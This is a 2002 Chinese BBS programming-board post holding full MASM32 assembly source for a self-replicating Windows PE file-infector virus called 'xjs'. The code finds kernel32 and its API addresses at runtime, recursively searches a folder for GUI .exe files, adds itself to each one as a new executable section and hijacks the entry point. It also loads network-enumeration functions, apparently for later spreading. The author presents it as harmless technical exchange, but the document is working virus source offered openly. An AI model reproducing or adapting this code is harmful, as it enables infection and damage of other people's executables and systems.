Programming 版 (精华区)

发信人: pzc (不过如此), 信区: Programming
标  题: 一个可传播的程序
发信站: 哈工大紫丁香 (2002年03月11日21:42:56 星期一), 站内信件

;************************************************************
;编写环境: win2k,masm32v5
;完成日期: 2002/3/11/20:23
;适用环境: win9x/winnt/win2k/winxp
;程序功能: 感染D:\test下所有exe(GUI)文件,不发作
;版  本: v1.0
;大  小: 1736(byte)
;程序名称: xjs
;联系地址:  AwakeinAlone@X263.net
;说  明: 本文纯属技术交流.如有转贴,请保持完整性
;************************************************************
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
.data
hi    db "hi",0
ppmm  db "ppmm,you need no reason to love me!",0
.code
main:
   mov   HostEntry,offset ret_addr
   jmp   vstart
ret_addr:
   Invoke MessageBox,NULL,offset ppmm,offset hi,0
   ret
CODE segment
vstart:
   call start
start:
   pop ebx
   sub ebx,offset start          ;ebx=病毒在4G空间的偏移量
   push HostEntry[ebx]           ;保存宿主程序入口,做返回宿主之用
   call GetKernelBase            ;取得Kernel32.dll的image base
   or eax,eax
   jz short vexit
   call GetGPAFuncAddr           ;取得GetProcAddress的地址
   call GetAllFuncAddr           ;取得其他函数地址
   call VThread
vexit:
   ret
;;;;;;;;;获得image of kernel32.dll的基址;;;;;;;;;;;
;mov edi,[esp+8]这条指令取得返回到BaseStartProcess
;的返回地址,主线程执行的第一条指令应该是BaseStartProcess
;的指令,在这个函数中调用main(程序入口),返回地址进栈,
;既程序执行完时,应该返回到BaseStartProcess函数。这个函数
;既然在kernel32中,它的指令地址就在kernel32中并且大于hmodule
;以此为基础,以64k(10000h)(分配粒度)为单位向上搜索具有pe特征
;的模块。
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
GetKernelBase:
        mov     edi, [esp+8]            ;because we push HostEntry in the st
art
        and     edi, 0ffff0000h         ;wipe the LOWORD !
        .while TRUE
                .if WORD ptr [edi] == IMAGE_DOS_SIGNATURE
                        mov  esi, edi
                        add  esi, [esi+03Ch]
                        .if  DWORD ptr [esi] == IMAGE_NT_SIGNATURE
                                .break
                        .endif
                .endif
                sub  edi, 010000h
                .if edi < 070000000h     ;应该是win9x,直接赋值
                         mov  edi, 0bff70000h   ;0bff7000h 是win9x的base
                        .break
                .endif
        .endw
        xchg    eax, edi
        mov     hKernel32[ebx],eax               ;保存kernel32.dll的base add
r
        ret
;;;;;;;;;;;;获得GetProcAddress的地址;;;;;;;;;;;;;;;
;利用输出表查找GetProcAddress地址
;输出表结构和功能,参看pe教程
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
GetGPAFuncAddr:
    mov   edx,eax                      ;edx->Kernel32_Base
    assume edx :ptr IMAGE_DOS_HEADER
    add   edx,[edx].e_lfanew
    assume  edx:ptr IMAGE_NT_HEADERS
    mov   edx,[edx].OptionalHeader.DataDirectory.VirtualAddress ;first I use
 add edx,... make a error
    add   edx,hKernel32[ebx]
    assume  edx:ptr IMAGE_EXPORT_DIRECTORY
    mov   ebp,[edx].AddressOfNames
    add   ebp,hKernel32[ebx]           ;now ebp=Addr of RVAofName[]
    mov   eax,0                    ;eax AddressOfNames Index
    mov   ecx,14                   ;length of string GetProcAddress
    .repeat
          mov   edi,[ebp]
          add   edi,hKernel32[ebx]
          lea   esi,[offset nGetProcAddress+ebx]
          repz  cmpsb
          .if zero?
                .break
          .endif
          mov   ecx,14
          add   ebp,4        ;下一个RVA
          inc   eax
    .until  eax == [edx].NumberOfNames
    mov     ebp, [edx].AddressOfNameOrdinals
    add     ebp, hKernel32[ebx]
    movzx   ecx,word ptr [ebp+eax*2]
    mov     ebp, [edx].AddressOfFunctions   ; get the address of the api
    add     ebp, hKernel32[ebx]
    mov     eax, [ebp+ecx*4]
    add     eax,hKernel32[ebx]               ;now we get it
    mov     dwGetProcAddress[ebx],eax
    ret
;**************************************************
;Get Other Funtions Addresses
;这些函数大多是程序需要的,有些是为了将来扩充。
;**************************************************
GetAllFuncAddr:
   lea      eax,[offset nLoadLibraryA+ebx]
   push     eax
   push     hKernel32[ebx]
   call     dwGetProcAddress[ebx]
   mov      dwLoadLibraryA[ebx],eax    ;Get LoadLibraryA's Address
   lea      edi,[offset Kernel32_FuncName+ebx]
   mov      ecx,13                     ;Kernel32's Func Num=13
   mov      ebp,0
   Kernel32_begin:
   push     ecx
   push     edi
   push     hKernel32[ebx]
   call     dwGetProcAddress[ebx]
   mov      Kernel32_FuncAddr[ebp+ebx],eax
   mov      eax,0
   repnz    scasb    ;寻找字符串结束标志0,使edi指向下个函数名
   add      ebp,4
   pop      ecx
   loop     Kernel32_begin
   lea      eax,[offset dllMpr+ebx]
   push     eax
   call     dwGetModuleHandle[ebx]
   .if      eax==NULL
            lea     eax,[offset dllMpr+ebx]
            push    eax
            call    dwLoadLibraryA[ebx]
   .endif
   mov      edx,eax
   lea      edi,[offset Mpr_FuncName+ebx]
   mov      ecx,3                ;MPR's Func Num=3
   mov      ebp,0
   Mpr_begin:
   push     ecx
   push     edi
   push     edx
   call     dwGetProcAddress[ebx]
   mov      Mpr_FuncAddr[ebp+ebx],eax
   mov      eax,0
   repnz    scasb
   add      ebp,4
   pop      ecx
   loop     Mpr_begin             ;Now we get all funtion' addrs
   ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;the thread begin to browse "d:\test" dir
;when it finds a pe file,it call InfectFile
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
VThread:
     lea   eax,[offset CurDir+ebx]
     push  eax
     call  EnumDir
ret                                ;EnumDir repair the stack
;**********************************
;用递归方法遍历目录下所有exe文件
;找到后调用InfectFile
;栈上几个变量如下所示
;ebp-4=hSearch,ebp-264=DirofFile[],ebp-268=CurDirLen
;**********************************
EnumDir:
     push   ebp           ;Let DirorFile's largest size=260
     mov    ebp,esp
     sub    esp,268
     mov    esi,[ebp+8]
     xor    ecx,ecx
     .while byte ptr [esi+ecx]!=0
            inc  ecx
     .endw
     mov    [ebp-268],ecx     ;len of CurDir string
     lea    edi,[ebp-264]
     rep    movsb
     lea    esi,[offset sds+ebx]    ;offset of "*.*"
     movsw
     movsw
     lea    eax,[offset wfd+ebx]
     push   eax
     lea    eax,[ebp-264]
     push   eax
     call   dwFindFirstFile[ebx]
     .if    eax<=0
            jmp l_close
     .endif
     mov    [ebp-4],eax    ;hSearch=eax
l_next:
    lea    eax,[offset wfd+ebx]
    push   eax
    push   [ebp-4]
    call   dwFindNextFile[ebx]
    .if    eax==FALSE
           jmp short l_close
    .endif
    .if    byte ptr [wfd+44+ebx]=='.'
           jmp short l_next
    .endif
    lea    edi,[ebp-264]
    add    edi,[ebp-268]
    lea    esi,[wfd+44+ebx]
    .while byte ptr [esi+ecx]!=0
           inc  ecx
    .endw
    rep    movsb           ;strcat(DirofFile,wfd.cFileName)
    .if  dword ptr [wfd+ebx]==FILE_ATTRIBUTE_DIRECTORY
           mov    byte ptr [edi],'\'
           mov    byte ptr [edi+1],0           ;let DirofFile have a end
           lea    eax,[ebp-264]
           push   eax
           call   EnumDir
    .else
           mov    byte ptr [edi],0    ;it's a file,let's judge if it's a exe
?
           call   File_Test
    .endif
    jmp short l_next
l_close:
    .if    dword ptr [ebp-4]!=NULL
           push   [ebp-4]
           call   dwFindClose[ebx]
    .endif
    add    esp,268
    pop    ebp
    ret    4
;**********************************************
;edi->end of CurorFile string
;if this file is finished by 'exe'
;notice 'exe' isn't 'EXE'
;we call InfectFile
;***********************************************
File_Test:
             sub    edi,4
             cmp    dword ptr[edi],6578652Eh  ; 6578652E= .exe
             jnz    short ft_end
             lea    eax,[ebp-264]
             call   InfectFile
ft_end:
ret
;********************************************
;下面代码用于感染文件
;原理请参见前面的文章“为pe文件插入代码”
;********************************************
InfectFile:
push ebp  ;保存ebp
push NULL
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push NULL
push FILE_SHARE_READ+FILE_SHARE_WRITE
push GENERIC_READ+GENERIC_WRITE
lea  eax,[ebp-264]
push eax
call dwCreateFile[ebx]
.IF  eax<=0
     jmp InfectFile_Exit
.ENDIF
mov  hFile[ebx],eax
push 0
push 0
push 0
push PAGE_READWRITE
push NULL
push hFile[ebx]
call dwCreateFileMapping[ebx]
.IF  eax<=0
     jmp InfectFile_Exit
.ENDIF
mov  hMapping[ebx], eax
push 0
push 0
push 0
push FILE_MAP_READ+FILE_MAP_WRITE
push hMapping[ebx]
call dwMapViewOfFile[ebx]
.IF  eax<=0
     jmp InfectFile_Exit
.ENDIF
mov  pMapping[ebx],eax
mov  ebp,eax
assume ebp :ptr IMAGE_DOS_HEADER
.IF  [ebp].e_magic!=IMAGE_DOS_SIGNATURE
     jmp  InfectFile_Exit
.ENDIF
.IF  [ebp].e_lfarlc!=040h
     jmp  InfectFile_Exit
.ENDIF
mov  eax,[ebp].e_lfanew
add  ebp,[ebp].e_lfanew                  ;此时ebp指向PE文件头
assume ebp:ptr IMAGE_NT_HEADERS
.IF  [ebp].Signature!=IMAGE_NT_SIGNATURE    ;是PE文件吗?
     jmp  InfectFile_Exit
.ENDIF
.IF word ptr [ebp].OptionalHeader.Subsystem!=2  ;GUI? CUI=3!                
                ;是否已经感染
     jmp  InfectFile_Exit
.ENDIF
.IF word ptr [ebp+1ah]==0842h                              ;是否已经感染
     jmp  InfectFile_Exit
.ENDIF
mov  eax,[ebp].OptionalHeader.AddressOfEntryPoint
add  eax,[ebp].OptionalHeader.ImageBase
mov  HostEntry[ebx],eax                                      ;保存原入口
;***************************************************************
;判断是否有足够空间存储新节
;28h=sizeof IMAGE_SECTION_HEADER
;18h=sizeof IMAGE_FILE_HEADER+Signature
;edi将指向新节
;***************************************************************
movzx eax,[ebp].FileHeader.NumberOfSections
mov  ecx,28h
mul  ecx
lea  esi,[ebp]
sub  esi,pMapping[ebx]
add  eax,esi
add  eax,18h
movzx esi,[ebp].FileHeader.SizeOfOptionalHeader
add  eax,esi
mov  edi,eax
add  edi,pMapping[ebx]               ;I forgot this first
add  eax,28h
.IF  eax>[ebp].OptionalHeader.SizeOfHeaders
    jmp  InfectFile_Exit
.ENDIF
;*********************************************************************
;空间允许, ^0^,开始插入新节并填充各字段
;esi指向原文件最后一个节,利用它来填充新节某些字段
;*********************************************************************
inc  [ebp].FileHeader.NumberOfSections                   ;节数目+1
mov  esi,edi
sub  esi,28h
assume  edi:ptr IMAGE_SECTION_HEADER
assume  esi:ptr IMAGE_SECTION_HEADER
mov   dword ptr[edi],00736A78h             ;[edi].Name1="xjs",0
push [ebp].OptionalHeader.SizeOfImage
pop  [edi].VirtualAddress
mov  eax,offset vend-offset vstart
mov  [edi].Misc.VirtualSize,eax
mov  ecx,[ebp].OptionalHeader.FileAlignment
div  ecx
inc  eax
mul  ecx
mov  [edi].SizeOfRawData,eax
mov  eax,[esi].PointerToRawData
add  eax,[esi].SizeOfRawData
mov  [edi].PointerToRawData,eax
mov  [edi].Characteristics,0E0000020h  ;可读可写可执行
;***************************************************************************
**************
;更新SizeOfImage,AddressOfEntryPoint,使新节可以正确加载并首先执行
;***************************************************************************
**************
mov  eax,[edi].Misc.VirtualSize
mov  ecx,[ebp].OptionalHeader.SectionAlignment
div  ecx
inc  eax
mul  ecx
add  eax,[ebp].OptionalHeader.SizeOfImage
mov  [ebp].OptionalHeader.SizeOfImage,eax
mov  eax,[edi].VirtualAddress
mov  [ebp].OptionalHeader.AddressOfEntryPoint,eax
mov  word ptr [ebp+1ah],0842h   ;写入感染标志
push  FILE_BEGIN
push  0
push  [edi].PointerToRawData
push  hFile[ebx]
call  dwSetFilePointer[ebx]
.IF   eax<=0
      jmp InfectFile_Exit
.ENDIF
;***************************************************************************
**********
;设置文件指针到结尾后,写入从vstart开始的代码,大小经过文件对齐
;***************************************************************************
***********
push  0
lea   eax,[offset byte_write+ebx]
push  eax
push  [edi].SizeOfRawData
lea   eax,[offset vstart+ebx]
push  eax
push  hFile[ebx]
call  dwWriteFile[ebx]
InfectFile_Exit:
.if  pMapping[ebx]!=NULL
     push pMapping[ebx]
     call dwUnmapViewOfFile[ebx]
.endif
.if  hMapping[ebx]!=NULL
     push hMapping[ebx]
     call dwCloseHandle[ebx]
.endif
pop  ebp   ;恢复ebp
ret
;***********以下是数据************************
HostEntry dd 0
hKernel32 dd 0
nGetProcAddress    db  "GetProcAddress",0
nLoadLibraryA      db  "LoadLibraryA",0
dwGetProcAddress   dd  0
dwLoadLibraryA     dd  0
Kernel32_FuncName:
nCreateThread      db  "CreateThread",0
nGetModuleHandle   db  "GetModuleHandleA",0
nFindFirstFile     db  "FindFirstFileA",0
nFindNextFile      db  "FindNextFileA",0
nFindClose         db  "FindClose",0
nCreateFile        db  "CreateFileA",0
nCreateFileMapping db  "CreateFileMappingA",0
nMapViewOfFile     db  "MapViewOfFile",0
nUnmapViewOfFile   db  "UnmapViewOfFile",0
nSetFilePointer    db  "SetFilePointer",0
nWriteFile         db  "WriteFile",0
nCloseHandle       db  "CloseHandle",0
nVitualAlloc       db  "VitualAlloc",0
dllMpr db "MPR.dll",0
Mpr_FuncName:
nWNetOpenEnum      db "WNetOpenEnumA",0
nWNetEnumResource  db "WNetEnumResourceA",0
nWNetCloseEnum     db "WNetCloseEnum",0
Kernel32_FuncAddr:
dwCreateThread      dd 0
dwGetModuleHandle   dd 0
dwFindFirstFile     dd 0
dwFindNextFile      dd 0
dwFindClose         dd 0
dwCreateFile        dd 0
dwCreateFileMapping dd 0
dwMapViewOfFile     dd 0
dwUnmapViewOfFile   dd 0
dwSetFilePointer    dd 0
dwWriteFile         dd 0
dwCloseHandle       dd 0
dwVitualAlloc       dd 0
Mpr_FuncAddr:
dwWNetOpenEnum      dd 0
dwWNetEnumResource  dd 0
dwWNetCloseEnum     dd 0
;遍历目录所用
wfd         WIN32_FIND_DATA <>
CurDir      db 'd:\test\',0
sds         db '*.*',0
;*******感染文件数据*************
hFile       dd 0
hMapping    dd 0
pMapping    dd 0
byte_write  dd 0   ;WriteFile时使用,没有实际用途,为了程序正确
;*******************************
vend:
CODE ends
end main
                         --全文完        

--
※ 来源:·哈工大紫丁香 bbs.hit.edu.cn·[FROM: 202.118.236.144]
[百宝箱] [返回首页] [上级目录] [根目录] [返回顶部] [刷新] [返回]
Powered by KBS BBS 2.0 (http://dev.kcn.cn)
页面执行时间:205.984毫秒